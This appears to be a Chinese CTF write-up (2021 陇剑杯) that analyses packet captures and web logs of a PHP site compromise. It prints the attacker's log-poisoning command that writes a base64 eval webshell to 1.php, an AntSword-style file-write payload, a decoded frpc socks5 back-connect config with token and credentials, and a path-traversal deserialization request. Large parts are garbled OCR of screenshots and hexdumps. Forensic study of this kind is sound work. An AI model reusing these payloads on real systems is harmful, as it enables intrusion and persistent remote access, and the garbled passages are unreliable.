绝对路径分为两个部分,一个是网站根目录,一个是相对路径。又因所问为日志文件,所以只需要找到phpinfo(),查找 根目录和日志文件拼接即可。

导出所有的HTTP对象,在 index(34).php%3fm=home&a=assign_resume_tp1 文件中发现phpinfo页面,修改后缀为html。 打开。

> PHP Version 5.5.9-1ubuntu4.29 DND Linux 766b512f452f 5.10.25-linuxkit #1 SMP Tue Mar 23 09:27:39 UTC 2021 x86_64 System Build Date Apr 22 2019 18:33:42 Server API Apache 2.0 Handler Virtual disabled Directory Support Configuration File (php.ini) /etc/php5/apache2 Path Loaded /etc/php5/apache2/php.ini Configuration File Scan this dir /etc/php5/apache2/conf.d for additional .ini files /etc/php5/apache2/conf.d/05-opcache.ini, /etc/php5/apache2/conf.d/10-mysqlnd.ini, /etc/php5/apache2/conf.d/10-pdo.ini, /etc/php5/apache2/conf.d/20-Additional .ini files parsed apcu.ini, /etc/php5/apache2/conf.d/20-curl.ini, /etc/php5/apache2/conf.d/20-gd.ini, /etc/php5/apache2/conf.d/20-intl.ini, /etc/php5/apache2/conf.d/20-intl.ini, /tct/php5/apache2/conf.d/20-ison.ini, /etc/php5/apache2/conf.d/20-mcypt.ini, /etc/php5/apache2/conf.d/20-ison.ini, /etc/php5/apache2/conf.d/20-mcypt.ini, /etc/php5/apache2/conf.d/20-pdo_mysql.ini, /etc/php5/apache2/conf.d/20-pdo_pdsql.ini, /etc/php5/apache2/conf.d/20-pdo_sqlite.ini, /etc/php5/apache2/conf.d/20-pdsql.ini, /etc/php5/apache2/conf.d/20-readline.ini, /etc/php5/apache2/conf.d/20-readline.ini, /etc/php5/apache2/conf.d/20-readline.ini, PHP API 20121113 20121212 PHP Extension Zend Extension 220121212 Zend Extension API220121212,NTS Build ADI20121212 NIT

2021-08-07T17:37:59+08:00] 172.17.0.1 /index.php?m=home&a=assign_resume_tpl ERR: 模板不存在:./Application/Home/View/default//var/www/html

REMOTE_ADDR	172.17.0.1
DOCUMENT_ROOT	/var/www/html
REQUEST_SCHEME	http
CONTEXT_PREFIX	no value
CONTEXT_DOCUMENT_ROOT	/var/www/html
SERVER ADMIN	webmaster@localhost

查找日志文件

_REQUEST["tpl"]	data/Runtime/ <mark>Log</mark> s/Home/21_08_07. <mark>log</mark>
_REQUEST["aaa"]	system('pwd');
_REQUEST["PHPSESSID"]	c7rg88itbq4egddujcpt67mqh6
_REQUEST["think_language"]	zh-CN
_REQUEST["think_template"]	default
_POST["variable"]	1
_POST["tpl"]	data/Runtime/ <mark>Log</mark> s/Home/21_08_07. <mark>log</mark>
_POST["aaa"]	system('pwd');

拼接即是绝对路径。

3.3

题目:

黑客获取webshell之后,权限是

题解:

www-data

317这里执行了whoami命令



319这里有回包,显示是www-data

📜 to	tcp.stream eq 28						
No.	Time	Source	Info	Destination			
-	317 292.482507	192.168.2.197	POST /index.php?m=home&a=assign_resume_tpl HTTP/1.1 (application/x-www-form-urlencoded)	192.168.2.197			
+	318 292.522597	192.168.2.197	8081 → 60187 [ACK] Seq=1 Ack=753 Win=6367 Len=16332 TSval=173961753 TSecr=173961713 [TCP segment of a rea…	192.168.2.197			
Ļ	319 292.522598	192.168.2.197	HTTP/1.1 200 OK (text/html)	192.168.2.197			

Apache Version Apache/2.4.7 (Ubuntu) Apache API Version 20120211 Apache API Version 2012@11 Server Administrator webmaster@localhost Hostname:Port 172 Viser/Group YtotViser/Group Yiser/Group Yiser/Group Yiser/Group Yiser/Group Yiser/Group Yiser/Group Yiser/Group Yiser/Group YiserYiser/Group YiserYiserYiserYiserYiserYiserYiserYiserYiserYiserYiserYiserYiserYiserYiserYiser<tr Timeouts Connection: 300 - Keep-Alive: 5 oo_"\u"\\ class="o">\/intual_6 /+/<//+ < 00002e20 2f 74 72 3e 0a 30 /tr>· 00002e30 73 73 3d 22 65 22 70 20 3c 2f 74 64 00002e40 00002e50 00002660 74 72 3e 3c 74 64 20 63 6c 61 73 73 class 3d 22 65 <td

">Max Re quests <

3.4

<

题目:

黑客写入的webshell文件名是

00002e80 22 3e 4d 61 78 20 52 65 71 75 65 73 74 73 20 3c

题解:

1.php

http			and the second se
. Time	Source	Info	De
332 396.095915	192.168.2.197	POST /index.php?m=home&a=assign resume tpl HTTP/1.1 (application/x-www-form-urlencoded)	19
329 383.436587	192.168.2.197	POST /index.php?m=home&a=assign_resume_tpl HTTP/1.1 (application/x-www-form-urlencoded)	19
326 348.879123	192.168.2.197	POST /index.php?m=home&a=assign_resume_tpl HTTP/1.1 (application/x-www-form-urlencoded)	19
323 340.117099	192.168.2.197	POST /index.php?m=home&a=assign_resume_tpl HTTP/1.1 (application/x-www-form-urlencoded)	19
320 306.378411	192.168.2.197	<pre>POST /index.php?m=home&a=assign_resume_tpl HTTP/1.1 (application/x-www-form-urlencoded)</pre>	19
317 292.482507	192.168.2.197	POST /index.php?m=home&a=assign_resume_tpl HTTP/1.1 (application/x-www-form-urlencoded)	19
315 280.401747	192.168.2.197	POST /index.php?m=home&a=assign_resume_tpl HTTP/1.1 (application/x-www-form-urlencoded)	19
313 251.837224	192.168.2.197	POST /index.php?m=home&a=assign_resume_tpl HTTP/1.1 (application/x-www-form-urlencoded)	19
310 239.561632	192.168.2.197	<pre>POST /index.php?m=home&a=assign_resume_tpl HTTP/1.1 (application/x-www-form-urlencoded)</pre>	19
308 213.037480	192.168.2.197	<pre>POST /index.php?m=home&a=assign_resume_tpl HTTP/1.1 (application/x-www-form-urlencoded)</pre>	19
306 163.357076	192.168.2.197	POST /index.php?m=home&a=assign_resume_tpl HTTP/1.1 (application/x-www-form-urlencoded)	19
101 11.239111	192.168.2.197	POST /index.php?m=Home&c=Members&a=login HTTP/1.1 (application/x-www-form-urlencoded)	19
125 14.229654	192.168.2.197	<pre>POST /index.php?m=&c=personal&a=refresh_resume HTTP/1.1 (application/x-www-form-urlencoded)</pre>	19
239 35.569958	192.168.2.197	POST /index.php?m=&c=personal&a=ajax_resume_img_scan HTTP/1.1 (application/x-www-form-urlencoded)	19
1670 553.984512	192.168.2.197	POST /1.php HTTP/1.1 (application/x-www-form-urlencoded)	19
1668 553.867907	192.168.2.197	POST /1.php HTTP/1.1 (application/x-www-form-urlencoded)	19
163/ 553 67/28/	192 168 2 197	POST /1 nhn HTTP/1 1 (annlication/x-www-form-urlencoded)	10
<pre>Key: variable Value: 1 V Form item: "tpl" Key: tpl Value: data/R V Form item: "aaa" Key: aaa Value: system</pre>	' = "data/Runtime/Lc untime/Logs/Home/21 ' = "system('echo PC ('echo PD9waHAgZXZh)	ogs/Home/21_08_07.log" L_08_07.log D9waHAgZXZhbCgkX1JFUVVFU1RbYWFhXSk7Pz4= base64 -d > /var/www/html/1.php');" nbCgkX1JFUVVFU1RbYWFhXSk7Pz4= base64 -d > /var/www/html/1.php');	
	, 3		
2d0 74 2d 4c 65 6e 2e0 0a 76 61 72 69 2f0 64 61 74 61 2f 300 73 2f 48 6f 6d	67 74 68 3a 20 31 61 62 6c 65 3d 31 52 75 6e 74 69 6d	l 34 33 0d 0a 0d t-Length : 143··· l 26 74 70 6c 3d ·variabl e=1&tpl= d 65 2f 4c 6f 67 data/Run time/Log 0 26 56 027 62 - 0/107 (1 0 0 0 0 0	

3.	5

题目:

黑客上传的代理工具客户端名字是

题解:

frpc

344包发送的信息

p.suream eq 50					
Time	Source	Info	Des	stination	Protocol
343 538.744071	192.168.2	.197 POST /1.php HTTP/1.1 (application/x-www-form-urlencoded)	19	2.168.2.197	7 HTTP
344 538.745941	192.168.2	.197 HTTP/1.1 200 OK (text/html)	19	2.168.2.197	7 HTTP
		▲ Wireshark - 追踪 TCP 流 (tcp.stream eq 38) - hack.pcap –		×	
		POST /1.php HTTP/1.1 Host: 192.168.2.197:8081 Accept-Encoding: gzip, deflate User-Agent: Mozilla/S.0 (Windows NT 6.1; rv:22.0) Gecko/20130405 Firefox/22.0 Content-Type: application/x-www-form-urlencoded Content-Length: 1374 Connection: close			
		aaa=%40ini_set(%22display_errors%22%2C%20%220%22)%38%40set_time_limit(0)%38Function%20asenc(%24out) %78return%20%24out%38F0x83Bfunction%20asoutput()%78%24output%3DOb_get_contents()%38Bob_end_clean()%38echo%20%2228%22 %22f72%22%38echo%20%40asenc(%24output)%38Becho%20%22f486%22.%22l1f4%22%386%7Dob_start() %38try%78%24f%3Dbase64_decode(substr(%24_POST%58K22j6807130f598f%22%50%202)) %38%24c%30%24_POST%58K22xa5d6066667883a%22%50%38R%4C%30str_replace(%22%5Cf%22%2C%22%2C%22%2C%24c) %38%24c%305tr_replace(%22%5Cf%27%2C%22%27%2C%26%27%388%40c%30str_replace(%22%5Cf%22%2C%22%2C%22%2C%24c) %38%24c%305tr_replace(%22%5Cf%27%27%27%27%26%27%27%27%386%70%22%27%386%70%24%305tr_replace(%24cf)	2.		
rame 344: 258 byte ull/Loopback nternet Protocol V ransmission Contro Source Port: 808 Destination Port	es on wire Version 4, ol Protocol 1 : 61922	X38X241X2BX3D2)X24buf.X3Durldecode(X22X25X22.substr(X24CX2CX241X2C2))X3Becho(X40fwrite(fopen(X24fX2CX223X22)X2CX24L X3FX221X22X3XX220X22)X3BX3BX7Dcatch(ExceptionX20X24e)X7BechoX20X22ERRORX3AX2FX2FX2FX22.X24e-X3EgetMessage()X3BX7DX3Bas X3Bdie() X3B8j68071301598f-FBL3Zhci93d3cvaHRtbC9mcnBjLmluaQX3DX3D8xa5d606e67883a=5B636F6D6D6F6E5D0A7365727665725F6164647220 ZE3136382E3233392E3132330A7365727665725F706F7274203D28373737380A746F8055613424A66326C35656E60H2F65A37A1386D 6573745F736F636B355D0A74797065203D207463700A72656D6F74655F706F7274203D38313130A706C7567666E203D20736F636B73580A70 6575736572203D2030484446743136634C514A0A706C756506E76061743737767203D383131310A706C7567666E203D207365F656E637279707469	ouf) soutpu 3D2031 760A0A 5C75670 5F6E20	t() 3932 5874 596E 3D20	
0 02 00 00 04 45 0 c0 a8 02 c5 c0 10 66 16 a0 7a 80 10 0a 62 2c 25 0a 10 0a 62 2c 25 0a 10 0a 52 30 30 30 10 174 2c 20 30	00 00 fe a8 02 c5 18 18 d2 62 2c 23 4f 4b 0d 37 20 41	74727565047573655F636F6070727657373696F6E203D207472756504 Date: Sat, 07 Aug 2021 09:42:17 GMT Server: Apache/2.4.7 (Ubuntu) X-Powered-By: PHP/5.5.9-1ubuntu4.29 Content-Length: 14 Connection: close Content-Type: text/html			

aaa=%40ini_set(%22display_errors%22%2C%20%220%22)%3B%40set_time_limit(0)%3Bfunction%20asenc(%24out)%7Breturn%20%2

编码解码

URL解码结果

aaa=@ini_set("display_errors", "0");@set_time_limit(0);function asenc(\$out){return \$out;};function asoutput() {\$output=ob_get_contents();ob_end_clean();echo "28"."f72";echo @asenc(\$output);echo "f486"."11f4";}ob_start();try{\$f=base64_decode(substr(\$_POST["j68071301598f"],2));\$c=\$_POST["xa5d606e67883a"];\$c=str_repl ace("\r","",\$c);\$c=str_replace("\n","",\$c);\$buf="";for(\$i=0;\$igetMessage();}asoutput();die();&j68071301598f=FBL3Zhci93d3cvaH RtbC9mcnBjLmluaQ==&xa5d606e67883a=5B636F6D6D6F6E5D0A7365727665725F61646472203D203139322E3136382E3233 392E3132330A7365727665725F706F7274203D20373737380A746F6B656E3D586133424A66326C35656E6D4E365A3741386D7 60A0A5B746573745F736F636B355D0A74797065203D207463700A72656D6F74655F706F7274203D383131310A706C7567696E 203D20736F636B73350A706C7567696E5F75736572203D2030484446743136634C514A0A706C7567696E5F706173737764203 D204A544E32373647700A7573655F656E6372797074696F6E203D20747275650A7573655F636F6D7072657373696F6E203D207 47275650A

可以看到

\$f=base64_decode(substr(\$_POST["j68071301598f"],2))

是从第二位开始取。解码j68071301598f得到

L3Zhci93d3cvaHRtbC9mcnBjLmluaQ==

清空加密

□解密为UTF-8字节流

/var/www/html/frpc.ini

解密

也可以从这里看

	J42 424,001331	172.100.2.17/	1111/1.1 200 00		172,100,2,177		
	343 538.744071	192.168.2.197	POST /1.php HTT	<pre>P/1.1 (application/x-www-form-urlencoded)</pre>	192.168.2.197		
	344 538,745941	192.168.2.197	HTTP/1.1 200 OK	(text/html)	192.168.2.197		
*	345 538.778180	192.168.2.197	POST /1.php HTT	<pre>P/1.1 (application/x-www-form-urlencoded)</pre>	192.168.2.197		
	346 538.780389	192.168.2.197	HTTP/1.1 200 OK	(text/html)	192.168.2.197		
	412 549.800160	192.168.2.197	POST /1.php HTT	<pre>P/1.1 (application/x-www-form-urlencoded)</pre>	192.168.2.197		
	413 549.982861	192.168.2.197	HTTP/1.1 200 OK	(text/html)	192.168.2.197		
	181 550 02/153	192 168 2 197	POST /1 nhn HTT	D/1 1 (annlication/x-www-form-urlencoded)	192 168 2 197		
	static/\t2021-08	-07 05:59:50\t4096\t	0777\n				
	ThinkPHP/\t2021-	08-07 05:59:50\t4096	\t0777\n				
	Application/\t20	21-08-07 05:59:49\t4	096\t0777\n				
data/\t2021-08-07_06:00:32\t4096\t0777\n							
	index.php\t2021-	08-07 05:59:50\t2269	\t0777\n				
	1.php\t2021-08-0	7 09:39:54\t29\t0644	4\n				
	favicon.ico\t202	1-08-07 05:59:50\t11	50\t0777\n				
	install.php\t202	1-08-07 05:59:50\t37	/8\t0777\n				
	frpc.ini\t2021-0	8-07 09:42:17\+240\+	0644\n				
	a37ch						
	45765						
317	0 35 3a 35 39 3a	35 30 09 31 31 35	30 09 30 37 37 5:	59:50 1150.077			
218	0 37 0a 69 6e 73	74 61 6c 6c 2e 70 0	68 70 09 32 30 7.	instal l.php·20			
319	32 31 2d 30 38	2d 30 37 20 30 35	3a 35 39 3a 35 21	-08-07 05:59:5			
01a	0 30 09 33 37 38	09 30 37 37 37 0a	66 72 70 63 2e 0·	378.07 77.trpc.			
01b	0 69 6e 69 09 32	<u>30 32 31</u> 2d 30 38	2d 30 37 20 30 in	1 • 2021 - 08-07 0			
01C	8 39 3a 34 32 3a	31 37 09 32 34 30	09 30 36 34 34 9:	42:17 · 240 · 0644			
31d	0 00 61 33 37 63	0a 61 33 37 63 62 •a37cb					

这个不会的人是真不会。学习了其他师傅的wp。

3.6

题目:

黑客代理工具的回连服务端ip是

题解:

192.168.239.123

继续解码344的包。把xa5d606e67883a的值解密得

5B636F6D6D6F6E5D0A7365727665725F61646472203D203139322E3136382E3233392E3132330A7365727665725F706F7274203D20373737 380A746F6B656E3D586133424A66326C35656E6D4E365A3741386D760A0A5B746573745F736F636B355D0A74797065203D207463700A7265 6D6F74655F706F7274203D383131310A706C7567696E203D20736F636B73350A706C7567696E5F75736572203D2030484446743136634C51 4A0A706C7567696E5F706173737764203D204A544E32373647700A7573655F656E6372797074696F6E203D20747275650A7573655F636F6D 7072657373696F6E203D20747275650A

p.suream eq oo				
Time Source	Info		Destination	Protocol
343 538.744071 192.168.3	.197 POST /1.php HTTP/1.1	(application/x-www-form-urlencoded)	192.168.2.197	HTTP
344 538,745941 192,168.	.197 HTTP/1.1 200 OK (tex	t/html)	192.168.2.197	HTTP
rame 344: 258 bytes on wire wll/Loopback nternet Protocol Version 4, ransmission Control Protocol Source Port: 8081 Destination Port: 61922 0 02 00 00 00 45 00 00 fe 0 c0 a8 02 c5 c0 a8 02 c5 0 86 16 a0 7a 80 18 18 d2 0 0a 62 c2 c5 0a 62 c2 c3 0 20 32 30 30 20 4f 4b dd 0 61 74 2c 20 30 37 20 41	<pre>Wireshark.iE# TCP % (tcp.stream eq 38) POST /1.php HTTP/1.1 Host: 192.168.2.197:8081 AcceptEncoding: gzip, deflate User-Agent: Mozilla/5.0 (Windows Content-Type: application/x-www- Content-Length: 1374 Connection: close aaa=%40ini_set(%22display_errors %7Breturn%20%24out%38%7D%3Bfunct %29Er/7%22%3Becho%20%40asen(%22d %3B%24c%3D\$24_POST%5B%22xa5d60ed %3B%24c%3D\$24_POST%5B%222%Cm%22 %3B%24f%3D3D\$24_POST%5B%22xa5d60ed %3B%24c%3D\$24_POST%5B%22xa5d60ed %3B%24c%3D%24_POST%5B%22xa5d60ed %3B%24c%3D%24_POST%5B%22xa5d60ed %3B%24c%3D%24_POST%5B%22xa5d60ed %3B%24c%3D%24_POST%5B%22xa5d60ed %3B%24c%3D%24_POST%5B%22xa5d60ed %3B%24c%3D%24_POST%5B%22xa5d60ed %3B%24c%3D%24_POST%5B%22xa5d60ed %3B%24c%3D%24_POST%5B%22xa5d60ed %3B%24c%3D%24_POST%5B%242 %3B%24c%3D%24_POST%5B%242 %3B%24c%3D%24_POST%5B%242 %3B%24c%3D%24_POST%5B%242 %3B%24c%3D%24_POST%5B%242 %3B%24c%3D%24_POST%5B%242 %3B%24c%3D%24_POST%5B%242 %3B%24c%3D%242 %3B%24c%3D%24_POST%5B%242 %3B%24c%3D%242 %3B%24c%3D%24_POST%5B%242 %3B%24c%3D%242 %3B%24c%3D%242 %3B%24c%3D%242 %3B%24c%3D%242 %3B%24c%3D%</pre>		f) utput() 20313932 0A0A5B74 7567696E 6E203D20	

16进制转换文本 / 文本转16进制

5B636F6D6D6F6E5D0A7365727665725F61646472203D203139322E31363 [common] 字符串转16进制 >> 82E3233392E3132330A7365727665725F706F7274203D20373737380A746 server_addr = 192.168.239.123 F6B656E3D586133424A66326C35656E6D4E365A3741386D760A0A5B746 server_port = 7778 16进制转字符串 >> token=Xa3BJf2l5enmN6Z7A8mv 573745F736F636B355D0A74797065203D207463700A72656D6F74655F70 6F7274203D383131310A706C7567696E203D20736F636B73350A706C756 7696E5F75736572203D2030484446743136634C514A0A706C7567696E5F [test sock5] 结果互换 706173737764203D204A544E32373647700A7573655F656E637279707469 type = tcp remote_port =8111 6F6E203D20747275650A7573655F636F6D7072657373696F6E203D20747 全部清空 275650A plugin = socks5 plugin_user = 0HDFt16cLQJ

3.7

题目:

黑客得socks5得连接账号、密码是

题解:

0HDFt16cLQJ&JTN276Gp

这个题在上一步3.6解码中有

16进制转换文本/文本转16进制

5B636F6D6D6F6E5D0A7365727665725F61646472203D203139322E31363 82E3233392E3132330A7365727665725F706F7274203D20373737380A746 F6B656E3D586133424A66326C35656E6D4E365A3741386D760A0A5B746 573745F736F636B355D0A74797065203D207463700A72656D6F74655F70 6F7274203D383131310A706C7567696E203D20736F636B73350A706C756 7696E5F75736572203D2030484446743136634C514A0A706C7567696E5F 706173737764203D204A544E32373647700A7573655F656E637279707469 6F6E203D20747275650A7573655F636F6D7072657373696F6E203D20747 275650A



4. 日志分析

题目描述:

单位某应用程序被攻击,请分析日志,进行作答:

4.1

题目:

网络存在源码泄露, 源码文件名是

题解:

www.zip

"Mozilla/5.0 (Macintosh; Intel Mac OS X 10 15 7)	Apple/MehKit/527 26 (KHTML)	e Gecko)
Chrome/92.0.4515.107 S ^{查找}	×	
172.17.0.1 [07/Aug/2(ד 7 "-"
"Mozilla/5.0 (Macintosh; 位内): 200		e Gecko)
Chrome/92.0.4515.107 S	方向	
172.17.0.1 [07/Aug/20		4 457 "-"
"Mozilla/5.0 (Macintosh; 口区分大小写(C)		e Gecko)
Chrome/92.0.4515.107 S 口循环(R)		
172.17.0.1 [07/Aug/2(
"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7)	AppleWebKit/537.36 (KHTML, I	ike Gecko)
Chrome/92.0.4515.107 Safari/537.36"		
172.17.0.1 [07/Aug/2021:01:37:59 +0000] "GE	T /www%2ezip HTTP/1.1" 200 1	1686 "-"
"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7)	AppleWebKit/537.36 (KHTML, I	ike Gecko)
Chrome/92.0.4515.107 Safari/537.36"		
172.17.0.1 [07/Aug/2021:01:37:59 +0000] "GE	T /www%2ezip HTTP/1.1" 200 1	1686 "-"
"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7)	AppleWebKit/537.36 (KHTML, I	ike Gecko)
Chrome/92.0.4515.107 Safari/537.36"		
172.17.0.1 [07/Aug/2021:01:37:59 +0000] "GE	T /www%2erar HTTP/1.1" 404 4	457 "-"
"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7)	AppleWebKit/537.36 (KHTML, I	ike Gecko)
Chrome/92.0.4515.107 Safari/537.36"		
172.17.0.1 [07/Aug/2021:01:37:59 +0000] "GE	T /www%2etar%2egz HTTP/1.1	" 404 457 "-"
		••• <u>11</u>

4.2

题目:

分析攻击流量,黑客往/tmp目录写入一个文件,文件名为

题解:

sess_car

直接查找tmp即可看到。

Chrome/92.0.4515.107 Safari/537.36"

172.17.0.1 - - [07/Aug/2021:01:37:59 0000] "GET /phpMyAdmin/ HTTP/1.1" 404 457 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.107 Safari/537.36"

172.17.0.1 _{查找}		×	HTTP/1.1" 404 457 "-"
"Mozilla/			1.36 (KHTML, like Gecko)
Chrome/S 查找内容(N): tmp		查找下一个(E)	
172.17.0.1			/1.1" 404 457 "-"
"Mozilla/!	方向	取消	⁷ .36 (KHTML, like Gecko)
Chrome/ Chrome/ Chrome/ Chrome/ Chrome/ Chrome/ Chrome	○向上(<u>U</u>) ●向下(<u>D</u>)		19 0.00
172.17.0.1			1.1" 200 25770 "-"
"Mozilla/!□循环(R)			⁷ .36 (KHTML, like Gecko)
Chrome/92.0.4515.107 Satari/537	.36"		
172.17.0.1 [07/Aug/2021:01:38	3:20 0000] "GET /?		
filename=/////////////	////tmp/sess	car&content	=func N;files a:2:
{s:8:"filename";s:16:"./files/filename	e";s:20:"call u ser fur	nc array";s:28	:"./files/call user func array";
}pathsla:1:{s:5:"/flag";s:13:"SplFileC	Dbject";} HTTP/1.1" 3	302 879 "-" "	ovthon-requests/2.26.0"
172.17.0.1 [07/Aug/2021:01:38	3:20 0000] "GET /?fi	le=sess car ⊢	ITTP/1.1" 200 687 "-"
"python-requests/2.26.0"			
172.17.0.1 [07/Aug/2021:01:38	3:20 0000] "GET / H	TTP/1.1" 200	645 "-" "python-
requests/2.26.0"		N.	

4.3

题目:

分析攻击流量,黑客使用的是__类读取了秘密文件。

题解:

SplFileObject

同样的,在目录穿越反序列化的时候,已经显示出来了。

Chrome/92.0.4515.107 Safari/537.36"

172.17.0.1 - - [07/Aug/2021:01:37:59 0000] "GET /phpMyAdmin/ HTTP/1.1" 404 457 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.107 Safari/537.36"

172.17.0. ¹ _{查找}		×	HTTP/1.1" 404 457 "-"
"Mozilla/			1.36 (KHTML, like Gecko)
Chrome/9 查找内容(N): tmp		查找下一个(E)	
172.17.0.1			/1.1" 404 457 "-"
"Mozilla/!	方向	取消	'.36 (KHTML, like Gecko)
Chrome/9	○向上(<u>U</u>) ●向下(<u>D</u>)		
172.17.0.1			1.1" 200 25770 "-"
"Mozilla/!□循环(图)			'.36 (KHTML, like Gecko)
Chrome/92.0.4515.107 Satari/537.	36"		1
172.17.0.1 [07/Aug/2021:01:38	:20 0000] "GET /?		
filename=/////////////	.////tmp/sess	car&content	=func N;files a:2:
{s:8:"filename";s:16:"./files/filename	e";s:20:"call user fur	nc array";s:28	:"./files/call user func array";
}paths a:1:{s:5:"/flag";s:13:"SplFileC	bject";} HTTP/1.1" 3	802 879 "-" "	python-requests/2.26.0"
172.17.0.1 [07/Aug/2021:01:38	:20 0000] "GET /?fi	le=sess car H	ITTP/1.1" 200 687 "-"
"python-requests/2.26.0"		_	2-1
172.17.0.1 [07/Aug/2021:01:38	:20 0000] "GET / H"	TTP/1.1" 200	645 "-" "python-
requests/2.26.0"		61	

5. 流量分析 后续补上

陇剑杯-1 | The blog of mklkx

题目描述:

5.1

题目:

攻击者的IP是

题解:

172.18.0.125

```
这里看大佬博客,发现是猜的。具体做法
```

唯有85号追踪流的分布与其他的完全不同,且比较均匀。攻击ip只有一个,于是猜测流量分布应该也与其他混淆流量不同,提交过后发 现正确。

文件(F) 编辑(E) 视图(V) 跳转(G) 捕获(C) 分析(A) 统计(S) 电活(V) 无线(W) 工具(T) 帮助(H)						
📶 🗐 🧾 🗇 🔀 🖸 🍳 🗰 🛎 🖀 🖡 💆 🔜 🔍 🔍 🖽						
	udp.stream eq 85					
No	Time	Source	Info	Destination		
	18260 60.574320218	172.18.0.1	8888 → 42277 L	en=36 172.18.0.125		
	18261 60.574333699	172.18.0.125	42277 → 8888 L	F3 173 10 0 1		
	18262 60.574352192	172.18.0.1	8888 → 42277 L	▲ Wireshark ·追踪 UDP 流 (udp.stream eq 85) · 1.pcapng - □ ×		
	18263 60.574377783	172.18.0.125	42277 → 8888 L	fmpor 4%-1 4		
	18264 60.574406954	172.18.0.1	8888 → 42277 L	$\beta m \mu \rho \sigma = \dots \pi / 6 d \dots 1 \dots 4 \dots$		
	18265 60.574424242	172.18.0.125	42277 → 8888 L	9		
	18266 60.574443928	172.18.0.1	8888 → 42277 L	(mu)05= #%a, @ S.]]]		
	18267 60.574457636	172.18.0.125	42277 → 8888 L	\$muP05=#%a.x3		
	18268 60.574476115	172.18.0.1	8888 → 42277 L	\$muP05=#%ak.,?V.t&CdP05=#%aJK)		
	18269 60.574489615	172.18.0.125	42277 → 8888 L	\$muP05=,#%a.hQ#]0].UP05=,#%aJK)		
	18270 60.574508898	172.18.0.1	8888 → 42277 L	\$muP05=,#%a0		
	18271 60.574522669	172.18.0.125	42277 → 8888 L	\$muP05=#%az%.*X s.].M=.VlwP05=#%aJK)		
<				\$muP05=#%aU		
>	Frame 18265: 94 byte	es on wire (752 bits).	94 bytes capt	\$muP05=#%a		
>	Ethernet II, Src: 02	2:42:ac:12:00:7d (02:4	12:ac:12:00:7d)	$\begin{array}{cccccccccccccccccccccccccccccccccccc$		
>	Internet Protocol Ve	ersion 4, Src: 172.18.	0.125, Dst: 17	\$mi1065= #%a -mm "@`II+R] P05= #%a] K		

> User > Data	r Datagram Protocol, Src Port: 42277, Dst Port: 8888 a (52 bytes)	\$muPo5=#%as
0000	02 42 70 b3 33 41 02 42 ac 12 00 7d 08 00 45 00	\$muP05=,#%a]\$, box = 1, and the set of the se
0010	00 50 TC 30 40 00 40 11 e5 C3 aC 12 00 70 aC 12 00 01 a5 25 22 b8 00 3c 58 f0 50 30 35 3d 02 00	$\lim_{k \to 1} D^{k}_{k} ^{-1} = \frac{1}{2} D^{k}_{k} ^{-1} $
0020	00 00 9d 23 25 61 fc 88 aa 9e 11 00 00 00 ff a4	\$muP05=, #%a,M", H.a.e., Cxg, P05=, #%a], K,)
0040	1c ba cb 44 d6 09 d2 1a a7 ff 2f 76 35 e2 35 00	\$muP05=#%a1/h&.\$
0050	00 00 00 00 00 00 00 00 00 00 00 00 00	\$muP05=#%a
		\$muP05=#%a./e
		\$muP05=#%aGP05=#%aE!.#RIGHT
		P05=#%aMt+
		108 美广湖 外组, 108 观务器 分组, 153 vara(s).
		整个对话(9448 bytes) 显示和保存数据为 ASCII 演 國 争
		查找: 查找下一个(11)
		滤掉此流 打印 Save as… 返回 Close Help
	L	

这个题不太懂,看了大佬得wp。似懂非懂,这里记录一下。 [[2021陇剑杯部分WP_Y-Y-K的博客-CSDN博客

分析流量包,主机ip应该是172.18.0.1。都是UDP的包。看包的内容时,注意到UDP包头都是P05=,有的跟base64,有的跟乱码。 P05=后面都是00 00 00 或者01 00 00 00,其中00的长度是32,01的长度是16,可能是认证过程。

×1+(×1+(1) ##184(E) #55(24(2) #55(24(2) #55(24(2)) 72/15((A)) 55(24(2)) 72/15((A)) 55(24(2)) 72/15(24(2)) 75(2)) 75(24(2)) 75(2))											
🚛 📰 🖉 🛯 🗎 🖹 🗙 🖓 🖕 🗮 🖡 🖢 💭 💼 🔍 🤤 🔍 🖽												
同应	■ 返用显示过滤器 <<											
No.	Time	Source	Info						Destination	Protocol	Length	
-	1 0.000000000	172.18.0.210	54558 → 8888	Len=52					172.18.0.1	UDP		
	2 0.000043914	172.18.0.210	54558 → 8888	Len=52					172.18.0.1	UDP		
	3 0.000519169	172.18.0.210	54558 → 8888	Len=52					172.18.0.1	UDP		
	4 0.000545651	172.18.0.210	54558 → 8888	Len=52					172.18.0.1	UDP		
	5 0.000555848	172.18.0.210	54558 → 8888	Len=52					172.18.0.1	UDP		
	6 0.000563845	172.18.0.210	54558 → 8888	Len=52					172.18.0.1	UDP		
	7 0.000571504	172.18.0.210	54558 → 8888	Len=52					172.18.0.1	UDP		
	8 0.000578757	172.18.0.210	54558 → 8888	Len=52					172.18.0.1	UDP		
	9 0.000586001	172.18.0.210	54558 → 8888	Len=52					172.18.0.1	UDP		
	10 0.000593198	172.18.0.210	54558 → 8888	Len=52					172.18.0.1	UDP		
	11 0.000600359	172.18.0.210	54558 → 8888	Len=52					172.18.0.1	UDP		
	12 0.000607499	172.18.0.210	54558 → 8888	Len=52					172.18.0.1	UDP		
	13 0.000614686	172.18.0.210	54558 → 8888	Len=52					172.18.0.1	UDP		
	14 0.000621712	172.18.0.210	54558 → 8888	Len=52					172.18.0.1	UDP		
	15 0.000629388	172.18.0.210	54558 → 8888	Len=52					172.18.0.1	UDP		
	16 0.000636656	172.18.0.210	54558 → 8888	Len=52					172.18.0.1	UDP		
	17 0 0006/13859	172 18 0 210	5/1558 - A888	Len=52			_		172 18 0 1	HDD		
<											,	
> Et	thernet II, Src: 0	2:42:ac:12:00:d2 (02:42:ac:12:00:d2	?), Dst: 02:42:70:b3:33:41	L (02:	::42:70:b3:33:41)				-		
> Ir	nternet Protocol V	ersion 4, Src: 172	18.0.210, Dst: 1	72.18.0.1								
> Us	ser Datagram Proto	col, Src Port: 545	88, Dst Port: 888	18								
✓ Da	ata (52 bytes)											
	Data: 5030353d000	000000612325613b41b	e1c20000000414143	166								
	[Length: 52]											
